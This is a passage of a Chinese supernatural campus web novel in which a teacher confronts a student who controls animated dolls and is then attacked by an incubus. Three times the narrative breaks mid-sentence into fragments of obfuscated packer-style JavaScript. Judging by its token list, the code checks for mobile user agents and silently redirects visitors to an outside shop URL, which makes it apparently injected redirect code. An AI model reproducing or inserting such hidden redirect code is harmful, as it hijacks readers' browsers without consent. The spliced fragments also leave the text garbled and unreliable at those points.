且不提游香最初什么打算，单就摸到了她跟司事有联系这事，除掉他这点都排上了优先级。 霜白语一心二用，空行写新内容，点击提交时系统提示有不合规词。 啧。 他从头扫视寥寥几行字的帖，逐字逐句修改可能违禁的地方。 游香行事太高调，霜白语细想着他们总共没几次的碰面，她是典型的表演型人格，刻意抛出一个话题，在没有得到期许的回答时，自顾自地延续对话，不明说结果，话里话外却都表明了‘就是她做的’这样的信息。 ——失踪案跟她有关。游香毫不遮掩这点。 霜白语自认道德水平很低，算不到他头上的事，哪怕清楚牵线者谁，他也不会多管闲事。 谁成想呢，那两人小声密谋的背后，原来他本就是别人狙击镜头里的目标之一。 诶，可算发布成功了。 霜白语丢开手机，抱枕挪到沙发扶手边当枕头躺，兀自发散思维。 如果他是游香，大概率会借此次机会抹黑他的名声，舆论是最省力的武器，一旦开了头后续无论走向如何，或多或少，都将在看客心中留下痕迹。 为确保话题走向可控，可以适当加入一点噱头，好比现在还榜上有名的失踪案，制造一出‘由本人根据线索亲自推导得出结论故而非常可靠’的假象，就能将本身毫无关联的两件事绑在一起。 再在事件推向高潮的那一刻放出事先拟好的文本，铺上夺人眼球的标题——圣欣学院某美术老师系轰动社会的学生失踪案幕后真凶。 不管真或假，在相关方介入前，网络上似是而非的讨论肯定会先一步扩散。 及至此，所有前置条件都算满足。手无缚鸡之力的学生，和拥有一定特权的老师，两者分别摆放在天平两端，大家很容易做出他们认为正义的选择。 哪怕实际无论哪一方都是无辜受害者。 算了，事已至此，随便舆论怎么发酵吧。当然他也没寄希望于公道自在人心的漂亮话。 凡事没真正发生前都还有回旋余地，努力还是要的，首先用刚发的帖子探探大家的口风。 . 树洞帖：没人觉得这种类人程度这么高的玩偶很诡异吗？ 这天不过是寻常的普通一天，圣欣高校的学生从繁重课业中暂得喘息时间，碰巧刷到学校论坛首页跳出的这个帖子，当即引发了一小波热议。 “完全不诡异，返耳会觉得很神圣呢[黄豆吐舌.jpg]” “前面的等等我，强排！！！这哪里是玩偶啊，分明是我命中注定的妻子婆娘与媳妇儿。” “撇开前两位的小头主导发言不谈，能养得起娃的都是富公，普通人还是别想了，光是价格足以劝退。既然这里提到了价格，那人偶就不单单只是人偶了，完全可以说是金钱的化身，试问谁会觉得钞票诡异啊！” “+1，那都是钱啊，月入零花钱以万起步的可以出去了，你的发言将不计入本帖的讨论结果。” “笑死我突然想起来今早刷到的帖子，提到说火灾的时候情况紧急，直接徒手扒头抢完就跑。然后底下有评论问为什么不拎着一起走，那当然是因为重啊，身子重但便宜，危急时刻肯定优先选更贵的头。顺带一提，这么小小的一个头是几千到万的价值。” “李涛李涛……” “不过我挺好奇的，那位养娃在圈子里也不是秘密的事，你们看她的人偶没点多余的感想吗？” 树洞帖下接二连三地发表着一众泛泛的讨论，突兀冒头指向明确的这么一句，虽然没引起前面聊得正嗨的人，但点进帖子的人碰巧刷到了这最新发布的言论。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405185|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >圈子的存在是很神奇的一种现象，相同相似的东西——古往今来万事万物，从各种名词学角度出发——被分门别类地归在一起，又在网络发展起来的现如今，划分出更新型全面的区块。 更甚者，人为地在同一个圈子里排资论辈，区分三六九等。 “嘶，这你还别说……” “再抬头一看本树洞帖，感觉确实可以算得上诡异。” “前面的在说什么听不懂，有没有谁给吃瓜群众说说怎么个事？让我好奇心得到满足吧，先谢过各位好心人。” “那位发在社交平台的娃都不能以类人来形容了，逼真到让人细思极恐，而且据小道消息称，她的娃可以动。” “啊？？” “！？可以动是什么个意思，我想的那种像猫狗宠物一样能跑能跳能交流？” “也是被我刷到这种帖了，是真的，请看VCR！我昨天综合楼下课最后一个走的，一开始还以为看走眼了，毕竟亮的地方看向暗的地方眼神不太好使，结果镜头一拉发现没看错。” “虽然挺想感慨一句怪力乱神的，但你们不知道有遥控器加电池组合吗，我侄子的摩托车玩具上了发条也可以自己跑，还兼具定点拐弯功能。” “哈哈哈哈是的可以可以，这样确实能解释大部分诡异事件，让我们奉科学脑为主。” 树洞帖的讨论受上课铃声影响，暂时歇了一阵，话题最终以有科学依据的理性发言为节点圈上了句号。 游香轻轻哼唱着一段伴奏的旋律，指尖在椅子靠背杆上一点一点，她侧眸看着不远处的人，好心情地牵起嘴角。 料理课结束没过多久，大家清理完桌面，将课上用到的工具逐一归位，陆陆续续离开了教室。 最后只剩下了她跟万淑。 这位今天刚结识的新朋友似乎倾慕——游香难得不确定地想——她已久，为什么会有这样的判断，她回想着见面后她们说过的每一句话，诊断万淑为‘游香全肯定’型人格。 从料理课上普通又主观的“披萨搭配咸蛋黄比披萨配洋葱腊肠更好吃”到“大雁掉队后很难靠自己辨认方向”“人工湖边上的景观什么时候能改改”这样中规中矩但明显是为了对话得以延续、而主动扯起的话题，万淑都一一给出了回应。 不仅如此，在游香说话时神情专注，时刻留心着她的动向，确认她发言结束后能做到秒接。不得不说，这样近乎追捧的低姿态让游香非常受用。 毕竟谁都梦想拥有一个只听自己的忠实受众，虽然不知道她对自己的滤镜从何而来。诚然她的皮相并不差，人又是视觉动物，对方会因此倾心没问题，但这样太过浅显，不像是万淑有此反馈的理由。 她看向自己的目光，热烈到近似痴迷。 “万淑。” 游香停下了哼唱，轻轻喊了声不远处的人。 “什么事，游香。” 少女像振翅欲飞的鸟雀一样蹦到她面前，笑吟吟地询问她。 游香稍稍点点头，顺手撩了把万淑垂落在肩侧的头发，后者不好意思地拂开她的手，跟着顺了顺这撮碎发往耳后一别。 “我可以问你一个问题吗？” “当然。” 万淑感觉心脏砰砰直跳，那种肾上腺素过多涌现的感觉再次击中了她，不过这次并非因为紧张，而是兴奋。 原来跟喜欢的人说上话只需要她一个主动的问候，游香甚至比想象中更温柔，说话时她会习惯性地弯着嘴角，可爱的梨涡时不时地就会出现。 “你似乎很喜欢我？可我们明明才第一次见面。” “其实算不上严格意义上的第一次见。” 万淑轻轻按了一下胸口，默默提醒自己记得呼吸，真要命，她现在远没有声音听起来那么冷静，但她后来仔细想过了，真要和游香发展成朋友这样亲密的关系，她们之间不该存在任何秘密，那她应该将自己的心路历程剖白。 将决定权彻底放到游香手中，由她来决定，听完自己的话以后，还要不要选择接受她这个新朋友。 哪怕最终是拒绝也可以安慰自己尝试过了，并且是快刀斩乱麻的短痛。 “游香的社交账号，其实我一直有在默默关注，兴许也可以说成是一见钟情，看到你文字的第一眼就喜欢上了。某天你开始分享玩偶的日常，我最初很害怕这些模样逼真的娃娃，但因为对你有偏爱，意外地让自己克服了恐惧，及至后来爱屋及乌，渐渐觉得它们并不可怕，反而很可爱。” 对某样事物的恐惧在她这里大抵分为两类，一是因为不了解，二是败于大脑胡乱的发散联想。 “人偶……你很喜欢我的人偶嘛。” 游香垂着双眼，长长的睫毛在下眼周覆落一圈圆弧阴影，她微妙的停顿显得别有深意。 只是专注回忆着自己心路历程的万淑没听出任何异常。 她们像是同床异梦的一对鸳侣，对频失败又各有各的思量。 “那你想近距离拥着它们，细细观赏吗？” 8. 人偶牵戏（5） 万淑只觉自己心漏跳了半拍，她刚还在为自己有意隐瞒了其实不久前刚见过其中一个玩偶的事而不安，乍然听闻这么一句话，顿时感觉整个人都飘飘然了。 其实彗星最终撞到的是她，不然眼前怎么全是星星。过于幸福，以致于她有点晕头转向了。 万淑猛地抬手拍了拍自己的脸颊，让她看起来没有那么轻飘飘。 她稍稍清了清嗓子，矜持地表示如果游香不嫌弃，她将非常乐意。 “那自然不会嫌弃，我非常欢迎。” 圣欣高校的学生宿舍单人单间，户型虽然不大但配套设施齐全，有精力地还可以自己设计小小改造。 游香将过分空旷的客厅隔出一部分区域，做了半开放式的工作台，虽然绝大部分人偶都放在别的地方，这里实际也存在零星那么几个。 其中包括了出场率很高的那个眯眯眼人偶。 “可以摸摸吗？” 万淑开口，既像是在问游香，同时又像在征求人偶的意见。 “你现在的渴望真得遮都遮不住，怀疑但凡我说一个不字就要掉下泪来的那种。” “哼哼。” 少女不好意思地小小声哼唧。 她在专注看人偶，而游香落在她身上的目光充满了审视。 万淑现在好像一只垂涎食物又格外遵守指令的宠物狗，她无法抗拒面前人偶带给她的诱惑，像狗无法抗拒食物一样，但欲望迟迟得不到满足，不得已分出一部分心神，只等着自己一声令下。 愉悦的感觉再次充盈游香内心，她轻轻点了下脑袋，万淑几乎瞬间就将人偶搂进了怀里。 游香微眯了一下眼，她多少有些期待了，等万淑知道人偶的来源，等到了那一刻，她还能否保持现在这样的喜悦。 “呀。” 在万淑像吸猫一样将每个玩偶都品鉴过一遍，难以言语的满足感持续升温时，正在刷手机的游香发出很短暂的一声惊呼。 故意为之的动静引来了另一人的瞩目。 接收着游香困惑中略显受伤的眼神，万淑当下精神一凛，放下手中的人偶，几步来到游香面前。 没关闭的论坛界面跳出了先前讨论度不低的树洞帖。 “万淑肯定不会像帖主一样觉得人偶恐怖，但会不会像里面的人那样，认为它们只是在内置装置的驱动下才动起来的？” 这话说得漏洞百出，如果是寻常时候的万淑，铁定能理性判断，但现在的她整个认知都轻飘飘，游香要是这时候给她下指令往东她绝对不会往西。 “要是游香愿意让玩偶出镜，我将替你和它们正名！” 至于正什么名，先别管。 “我需要严正申明！！” 万淑特地引用了科学脑那个人的发言，不停戳戳戳着屏幕，火力全开地输出中。 “人偶虽然是人偶，但它就是会像猫猫狗狗一样行动自如，不是你说的靠遥控或者发条，是真的！！不信你看我发的视频！” “并且我要强调，你是可以像吸猫一样吸人偶的！” “刚想说层主有视频有真相，但这发言颠三倒四的，几个菜啊能醉成这样。” “赞同前面的后半句，不过前半句有待商榷哈，现在人工智能完全可以做到凭空生成无逻辑无意义视频。看过就行别当真了。” “前面的不了解别瞎说，张口就来还显得自己能耐了。我这拍的还不够清楚吗，它不仅可以动还能听懂简单的指令，说它有基础思维能力也不为过。” “夸张了哈，乱生成个视频还真就把自己骗过去了，以为我们是三岁小孩嘛，蠢人不要上网。。。怪膈应人的” “等等等停停停，看到这帖子被顶上来还以为是什么新的惊天论据，点进来发现怎么有种要吵起来的感觉。这本质只是个树洞啊，没必要较真到上纲上线吧，你们互相一吵吵话题歪出八百里远，讨论没个结果，别先把审核引来了。” “就是啊都散了吧散了吧。” ——监测到当前有用户存在不良发言，现已将内容屏蔽，解封时间未定，如有疑问请联系管理人员。 霜白语发完帖没再关注后续动向，冷不丁收到这么一条消息，还以为自己命犯审核，又哪里戳中了对方爆点被后续追杀来了。 点进通知详情一看，帖子还在，只是后来几层用户的发言被屏蔽成了星号。 霜白语上翻帖子，一目十行地阅览过大家的发言，挺意外地扬眉，这年头三人成虎的现象太常见，挺久没刷到人在互联网上客观说事的了。 只可惜，这次真理真没掌握在科学脑手中。 他趁帖子现在流量还行，最新发布一条评论做结语。 “摊牌了，其实开这个树洞帖的初衷就是为了博得大众眼球，给明天学校的活动引流啊。真官方消息——以霜习老师个人名义开办的画展明天就抬上来了，希望到时候这个帖子底下发言过的人有时间都能来参观哇。” “眼见为实嘛，期待大家来捧场！哪怕本意只是为了吃那一口瓜！” 说不准到底是在模仿谁的口吻。 霜白语面无表情地在屏幕上敲敲打打。 事以密成，游香这么高调行事，总不致于是在妄想她自己能全身而退吧。 成群光秃的树枝枝桠撑开半边天，繁星各居其位明明灭灭地闪烁。 某一时刻，镜头聚焦，星辰沿轨道朝着固定的方向偏移，在胶卷底片刻录下移动的痕迹，斗转星移，黑夜过去，新的一天如约而至。 “就是今天了——” “说起来那个树洞帖确实有点东西，消息以一种极其刁钻的方式进到了我脑子里。恰巧又赶上平时见不上几面的霜习老师办个人展，怎么说都得来凑个热闹，要是能见到老师本人就更好了。” “铺垫这么多，最后一句才是你重点吧。” “诶，看破不说破啊！” 圣欣高校的学生就这么一路边聊边走，偶尔拔高的音调惊起了树上停驻的鸟雀，扑腾翅膀的声音响起，待抬头时只瞧见了尚且还在晃颤的树枝。 学院总共有五个多功能厅，安排画展的厅外观平平无奇，但一跨进门会发现里头别有洞天。 一层前厅做了从下及上一览无余的挑空设计，边墙挂着展厅的落成时间和由来介绍，往里一大片不做任何修饰的空地，边缘一个面积有限的圆形孔洞落下些许光亮，被通往二三四层楼的螺旋式台阶分割成条纹清晰的截面，相比于外边的空，台阶显得十分逼仄窄小。 “好久不见，霜习老师。” 固定在地面的导向指示牌横亘在两人之间，游香向着过道的左边走，霜白语朝着走道的右边去，错身而过前，她率先跟人打招呼。 霜白语目光专注地落在面前的介绍文字上，闻言微微掀起眼皮，无可无不可地答复对方。 “嗯，是好久不见。” 楼底下的喧闹声从刚才起便没断过，有昨天线上论坛的一点宣传作铺垫，今天来的人数挺可观。 游香侧耳听了一会，看向霜白语时又露出脸颊的梨涡。 “如你所愿地搭建好了舞台，你总不会就想在这跟我闲聊打发时间吧？” “怎么会，”她轻压着嗓音，笑着坦言，“为了表示谢意，我特地给老师准备了一份礼物，不过需要老师亲自揭秘。” “在那之前有个问题——希望老师能如实回答我。” 她的尾音拐着弯生抬了好几个音阶，激昂饱满似音乐剧歌者。 表演型人格啊。 霜白语在心底默默叹息，冷不丁地打断了她的输出。 “失踪案跟你制成人偶，这两者之间没有直接的联系。” 游香面上的表情有瞬间的凝固，虽然她尽可能自然地接续补救了，“你说什么？” “首先是刻意为之的时间差——失踪案频发的那会你选择了休学在家，报道中提及到学生失踪的点在离校途中，确实能给人造成那或许与你有关的假象，只是你也很快发现没有多少人将两者关联，所以你决定销假比预计更早地重回学校，人多的地方才能更方便你表演。” “好巧不巧，校门口碰到我，你随即萌生出新的一个转移、或者说吸引注意力的方法。” 这里暂且不说中途发生的意外。 霜白语看清人偶内部构造后就开始找这方面相关的记载，毫无疑问不存在任何鬼鬼神神想当然的设定，比如通过绑架控制真的人再抽取他们心头或者随便哪里的血注入玩偶体内，从而赋予无生机的东西以人的魂灵，没有这种阴毒又怪力乱神的术法。 “但这又能说明什么？”游香歪了歪脑袋，真心不解地发问。 霜白语接得很自然：“不能说明多大的事，也就只能得出‘你是个什么样的人’这类涉及哲学话题探讨的结论。” “你在耍我吗，霜习老师，拖延时间没有任何意义。” 游香的眼皮薄而窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405186|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这让她在面无表情时显得格外冷肃，“或许两者之间真得没关系，或许不过是我性格使然想要更大舞台展示自己，又或许更单纯的一点，我真正且唯一的目的，是将霜习老师你本人做成我忠实的人偶呢？” 霜白语：“……啊？” 这确实是他没设想过的发展，怎么突然变成坦白局了，正常反应不该是抵死不认嘛，毕竟他只是在口嗨又没有实际证据，所谓的推断也不过是随口胡扯压根没有多强烈的关联性。 不是，怎么就成这样了。 霜白语的视线掠过这间小厅里一眼能看尽的展柜。距离左手边不到五六米的地方，摆着精心装扮过的人偶，换过发饰和服装，平心而论，这么单纯放在展柜里时确实很漂亮。 毫无意义地任由视线周转，逡巡过脚踩的每一块大理石地砖的花纹。 最终落到游香身上，她的坦白局甚至还没结束。 “在校门口徘徊那么久只为了蹲守可能前来的你。”游香在心底补充，其实并不是，她当时已经透过玩偶的耳目确认了对方会来。 “故意放出新的玩偶把你带回到学校，不过在为后面的安排做铺垫。” 说到这的时候，游香很小弧度地翘动垂在身侧的手指，像是想起了意料之外的发展。 “多亏了那点意外惊喜。” 她弯起双眼，狡黠重新浮现在眼底，“正因为知道老师你也骗了我，做出这个决定时我才没有多大的愧疚感。” 霜白语配合地扯了扯嘴角。 “照你这么说我还得反过来谢谢你？” 游香无所谓地轻耸肩膀，缓步倒退着走到展柜边上，柜门边挂着的锁应声落地，她一点点推开玻璃柜门。 “老师，刚聊了会天，再三做过心理斗争，我还是觉得这么大的舞台不表演点剧目太可惜了。” 随着她话音落下，一个两个人偶像是从长久的沉眠中被唤醒，纷纷起身动作迅速地跃过柜门跳到地上，苦于没有发声的声带，人偶跑动时好似无声默片的胶卷转动，一帧一帧地向前推进，目的明确地涌向这个厅的出口。 “来玩捉迷藏吧，霜习老师。” 游香在笑，她用力地撑开双臂，在霜白语骤然冷下来的目光中，她脸上恶作剧的表情愈发张扬明显。 她说：“看看我们能抓到多少只鬼。” 一声尖叫响彻整个展厅，像水落入了沸腾的油锅，呲啦着扯开了混乱的帷幕。 “身为主要负责人，在已经提前确认过安保问题的重要场地，制造出这么大一场骚乱，你该怎么向学校领导解释好呢？唯一特聘这个待遇似乎保护不了你喽。” 游香紧簇双眉，露出十分困扰的表情。 “该怎么办啊，老师，你快想想办法——” 霜白语难免再度叹气，可别说，这出戏还真给游香演爽快了，她在这边洋洋得意地持续拱火，波及数量暂且不明的学生在另一头惊叫。 “啊啊啊啊什么东西掉在我脖子上了，妈呀它怎么真的会动！！” “我靠我就不该抱着看热闹的心态来这里，这玩意怎么动作这么灵活，甩开了还能动，我信了那谁说的啊啊啊啊靠靠靠啊啊啊啊，它咬我！痛死了靠北！” “嘶——” “不是谁搁这裹乱那，抽我干啥抽它啊，波尔怎么还打我，快别叫了我都耳鸣了，指望叫声能化作音波攻击致它晕厥还是咋的，算了我觉得还是谁给我一拳让我晕过去快点吧。” 单从这些混乱颠倒的叫唤也能想象出底下是怎样一片慌不择路的场景。 霜白语闭了闭眼，将手指关节来回按压了好几遍，那之后他好似意识到了自己确实无能为力，不得不向着面前的游香做出妥协。 “好吧我投降，你赢了，可以收起你这一出神通了吗？” “底下的学生都是无辜的。” 游香眼角一颤，脸上的笑意略微收敛了一些，对方的反应有点奇怪，妥协得太快，不足以让她体会到多少精心布局那么久终于可以摘取成果的喜悦。 不过话又说回来，没有太大波折也算好事，变数太多的话就不能说算作大成功了。 “好啊，既然老师都这么说了，我当然是选择接受了。” 游香浅浅地抿唇，也不知她怎么做到的联络，原本在底下作乱的人偶整齐划一地收手，安静地退到一边。 她因此短暂一分神，恰巧错过了霜白语唇边转瞬即逝的一抹笑。 9. 孰真孰假 窗外枝丫，停驻其上的鸟雀微张开双翅，用鸟喙梳理着绒羽，几米外的地方传来响声，它偏着脑袋看向室内，漆黑的豆豆眼内倒影着一窗之隔的景象。 少女收敛了面上的笑意，不远处的青年显得好整以暇，看样子实在不像是一个落了下风的状态。 游香细想这一路的发展，并不觉得哪里有纰漏，事情向着她希望的那样发生了，画展刚开始的时候，她有在一楼负责招待，来的人不光光就他们班的。 显然有论坛帖在前做铺垫，不管它最终指向的结果是什么，这个消息的讨论度上去了，大家多少会来凑个热闹。 那霜习老师现在的反应算什么。 发展太过顺利也会成为问题本身吗？还是说…… 她的思路被一声轻笑打断。 略偏向一边的额发阴影覆盖了霜白语右眼，他唇角的笑意不再掩饰。 游香眯了眯眼。即便还不到掌控全局的程度，但清楚自己必输的人不会有笑的心情。 她不动声色地准备撤回游荡在一层的这些个玩偶，但刚有动作，余光撩到了异样，游香倏然愣了一下，猛地转头看向门口。 那里有一道灰色的模糊影子落在地上，对方站在更靠近她的这一侧，也就断了她能在原地一览无余的可能。 螺旋式的台阶设计使得楼梯边的平台压缩到了极致，只能让人短暂地路过，没法长时间停留——因为这会影响后来上到二层的人。 但是现在，投落在地面影子一动不动，她没法贸贸然地让人偶上来探路。 一方面不清楚外头站着的是敌是友，正是基于此，她不能让玩偶冒险，情感上不允许，再者她现在仰仗着人偶给她撑场面，这是能让霜白语听话的唯一手段。 另一方面，她不敢赌，万一对方真是霜白语的帮手，那现在的局势会瞬间翻转。 说不定刚刚的话本身就是个陷阱，假意投降让她放松警惕，从而一举扭转现如今的局势。 “怎么这样看我，脸上有东西？” 霜白语说着往前走了一小步，借由角度变化，躲开了楼梯间那人望过来的视线。 又像是为了迷惑面前少女，他抬手摸上自己的脸。 “还是说，你开始怀疑，站在你面前的是真的‘我’吗？” 霜白语把握着字句间的停顿，留给人足够多想的时间，重新捡起了我是谁的哲学话题，“虽然我只是个美术老师，但不影响偶尔跟人谈谈心之类的。” 他是谁…… 少女放松垂在身侧的手指一蜷。 思路瞬间乱了。 游香不由自主地顺着他的话发散了思维。 最先想到的是不久前在霜白语身上嗅到的一丝属于他的气息。 她跟凛华接触不多。 但不代表她看不出来对方非人的身份，为数不多的几次见面，凛华从没有刻意隐瞒这点。 所以人偶的秘密，游香跟他透过一点底，无关紧要的一点，不过是让人偶短时间内不排斥对方而已，实际掌控权依旧掌握在游香手中。 她可以选择随时收回。 游香再次打量着面前的霜白语，找不到丝毫两者相像的地方。 凛华也没理由扮成霜习老师的模样，跟她打对抗赛，那毫无意义。 可是这也并非绝对，游香暗自咬紧了后槽牙，哪个才是真的…… 不行，冷静下来，对方故意在混淆视听，不管他是谁，都不能顺着他的思路走。 对方从一开始就在拖延时间，这点是没变的，为的是尽可能多得让学生离开这里，毕竟游香只是控制人偶，并没有封锁出口。 游香撩了把落下来的后发，找回了最初的那种状态，“霜习老师，你就是你啊，除此之外还有别的可能吗？” “那真遗憾。” 青年轻耸了一下肩，“还以为能把你糊弄过去。” 窗外树枝上的鸟雀停下梳理羽毛，朝着一边笔直地跳过两步，它又歪了歪脑袋，眨着绿豆大小的黑眼珠，没过几秒，被里面骤然拔高的音调惊扰，扑腾着翅膀飞离了停驻的这棵树。 徒留树梢来回地晃颤。 被霜白语的两次戏耍彻底消磨掉了耐心，游香不再听他做出任何别的狡辩，让原本停了一会的人偶重新动作，这一次很有目的地把先前悄悄往外跑的学生重新驱赶回来。 上蹿下跳的人偶拦截在必经的出入口，龇牙威胁着任何一个打算靠近的人。 “老师，这次无论你再说什么，我都不会让我可爱的人偶们停下来了。” “你要为之前的行为负责，成年人了，不该这么任性。” 游香每说一句话，都在留心霜白语的反应，但料想中的挫败并没有出现在对方脸上，相比于之前，他看起来十分无所谓。 “原来我在你眼里，是很有道德心的好老师吗？” 霜白语苦恼地点了点太阳穴，轻哂：“不好意思，那都是装出来骗你的。要知道底下这些首先是人类，其次才是学生。你跟着司事干了这么久的活，不知道我其实不是人吗？还以为上次的意外足够让你发现我身份了。” “结果是我高估你了，你只是意外这其中有我的事，完全没想过我的物种吗？” 霜白语五指并拢，朝向自己隔空戳了两戳。 他往边上走过两步，整个人靠向一侧的木质摆架，“至于老师这碗饭，丢了好像挺可惜的，但也并非完全活不下去嘛。” 游香一瞬褪去了面上的血色，她感觉掌心泛起绵密的痛意，意识到自己正不自觉地捏紧了拳头，修剪圆润的指甲狠狠地挤压着手心，留下很深的月牙印。 哪怕她不承认，也改变不了自己接二连三被牵着鼻子走的事实，心情更是因为对方一两句话而起起伏伏。 挫败感先一步找上了她。 游香没法反驳，甚至过往的细节一一对上了，包括司事好几次的欲言又止，明明已经很明确地给到了关于霜白语身份的提示，却都被她想当然地忽略了。 彼此间的沉默没有持续太久，在外旁听了许久墙角的影子终于动了，他缓步向前，走到二层的过道口，露出了真面目。 圣欣高校的制服松松垮垮地穿戴在身，维持着少年形态的魅魔装出误入了争执现场的惊诧反应。 “嗨？我好像来得不是时候。” 本就不太平衡的天平两端因为凛华这一搅局，骤然发生了变化。 不知何时，等注意力重新集中到当下本身之时，游香骤然发现哪怕后来她让人偶重新行动，并没有熟悉的尖叫声传来，一层静默得好似空无一人。 她现在甚至开始怀疑，不久前自己听见的属于别人的惊叫存在的真实性。 人总是不太能理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405187|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超出自己想象范围外，会发生的事。 说不定那只是面前这两人联手演给她看的，实际从来没有如她预想的那样呢？这也能解释霜白语为什么能这么快地转变态度。 仅仅是自己跳梁小丑似的做派太可笑，让他作为看客都不忍直视。 不。 不可以，不该是这样的。 游香感觉脑海中有根弦绷断了，她无法忍受地抬起手，掌心朝上，形如一个舞蹈的起手动作。 “别紧张。” 也不知凛华如何行动的，游香只觉得眼前一花，对方瞬间缩短了彼此距离，一把扣住了她召回人偶用意的手。 “我跟你对面那位，可不是一路的。” 凛华弯起眼，阻止游香打算无差别攻击的做法，同时面朝霜白语，不赞同地指出人行为的不恰当。 “把一个学生逼到宁可自损八百也要先干掉你的地步，霜习老师，你未免太不厚道了点吧。” 霜白语瞧着若有所思，而后像是印证了事情发展真正朝着某个方向去了这一事实，他露出了个果然如此的表情。 魅魔见状，松开了抓着游香手腕的手，一改先前开玩笑似的模样。他的腰背发力微微拱起，摆出了兽类进攻前蓄势待发的姿态。 霜白语似乎隐约察觉到了什么，这并不是个好的发展。 锵—— 宛如系统重启前的滞缓停顿，不大不小正正好的展厅被解构成建筑模型，肉眼不可见其形态的空气中充斥着细小杂乱的红色线条和块状物。 身处其间的游香和凛华的身影化作数据串，分解流散再行重组。 而霜白语，时空维度没能在他身上施以同样的限制，此刻正无声打量着面前发生的一切。 跟最开始想要回去时遇见的空气墙类似，当时他原本的计划是回家休息，凭空出现的红色墙体拦住了他，受其指示去到的地点，刚好碰上了凛华。 这次情况类似，但影响似乎更大一些。 原先一切发展确实如同游香所期望的那般，混乱爆发时，霜白语倒也不是真无能为力，他没行动完全是看到了一楼，装模作样混迹在人群中的凛华。 人偶压根没上嘴咬，魅魔却制造出了混乱正上演的假象——他嚎着别裹乱招呼别人别妄图用尖叫声波攻击时的语调有多慌乱，他面上的表情就有多镇定。 更甚者，对方可能考虑到了游香跟人偶间有直接联系，不止在听觉上欺骗了她，在视觉上同样如此，小题大做地对着现场一干人类动用了恶魔系的致幻手段。 一直到这里，凛华的所作所为似乎都跟他统一战线。 等确保一楼完全在自己的掌控中，魅魔好心情地踏上了通往二层的台阶。 凛华没有掩饰他上来的动静，哒哒哒的脚步声非常刻意，跟他一同到来的还有那个眯眯眼老熟人偶。 后者一见到霜白语，像见了结怨八百年的老仇人，不管三七二十一，上嘴就咬。 霜白语当然不会白白站着，可就在他行动前，魅魔察觉到他意图后作出的抉择更快。 只一瞬，心脏被攥紧的麻痹感再度复苏。 霜白语微微睁圆双眼，陡然呕出一口鲜血，身形踉跄前倾时，被魅魔一把抓住。 凛华贴心地充当着人形支架，凑到他耳边轻语： “我劝过你的，最好别咬。” 10. 坏狗得意 凛华压低了的嗓音透出不加掩饰的愉悦，这是他的饲主真正意义上的脆弱，就在他面前。 这么近的距离，足够让他看清霜白语头顶发旋的走向，刚刚那一击重创之下，对方几近脱力，重心一半压在他手中，一半靠着攀在边上摆架的手勉力支撑。 凛华拨开霜白语汗湿的额发，露出了对方此刻正半敛着的长睫，鸦羽似的眼睫在脸上落下一片阴影，看不清他的神情，但痛苦依旧随着微微颤抖的身体传递出来。 修长的手指触碰上霜白语的侧颊，繁复的黑色暗纹正从他眼周生长到太阳穴，一直蔓延向戴着单边坠子的左耳后根，等图案彻底落成，它像是被赋予了生命般明明灭灭地闪烁。 在霜白语看不见的地方大肆昭显着存在感，又因为青年目前的虚弱状态，平添了一份妖冶惑人的美感。 凛华指尖隔空游走，细细描摹着落在霜白语脸上的这份印记。 真美。 他由衷感慨。 尤其是这样的烙印只有他自己能看见，身为承载体本身的霜白语对此一无所知。 “霜习老师。” 凛华用淡淡的语气对他说：“直击灵魂的攻击定然不好受，你流血了，还出了这么多汗。” 说点他不知道的吧。 霜白语扶在摆架上的手指向内扣紧了，在木质表面留下几道浅浅的划痕，而后缓缓将它收回。 省着力气没搭理凛华的废话，他视线虚虚地掠过不远处后脑勺朝天倒在地上的眯眯眼人偶，毫无意义地落向虚空一点。 刚才那一下凛华的速度实在太快，哪怕当时有所警觉时刻留心着对方动作，霜白语还是没能看清。 甚至是最先感觉到的心口处暴涨开的绵密痛意，尖锐的啸音在颅内回旋，横冲直撞找不到突破口，吐出血的几秒钟后才后知后觉地意识到对方正托举着自己的胳膊。 嗡鸣声于此刻彻底褪去，霜白语找回了一点实感。 啪。 霜白语反手扣住凛华的手臂，努力直起身，费力但足够让人听清楚自己的每个字。 他说：“那我也告诉过你，我是个会给所有物打专属标签的人。” 坏狗听清了他说的话，脸上的得意戛然而止，仿佛面具般凝固在脸上。 看他不好受，霜白语就舒坦了。 他猛地拽紧凛华的胳膊，将他往自己这边带，这耗费了他积攒的绝大部分力气，惯性作用下却也足够让霜白语伸长的指甲刺进身前魅魔的要害。 皮肉破开的钝响无比沉闷，那一刻好似化作定格的帧数被无限拉长，又仿佛只存在瞬间的卡壳，时间重新找回了绝对的主控制权。 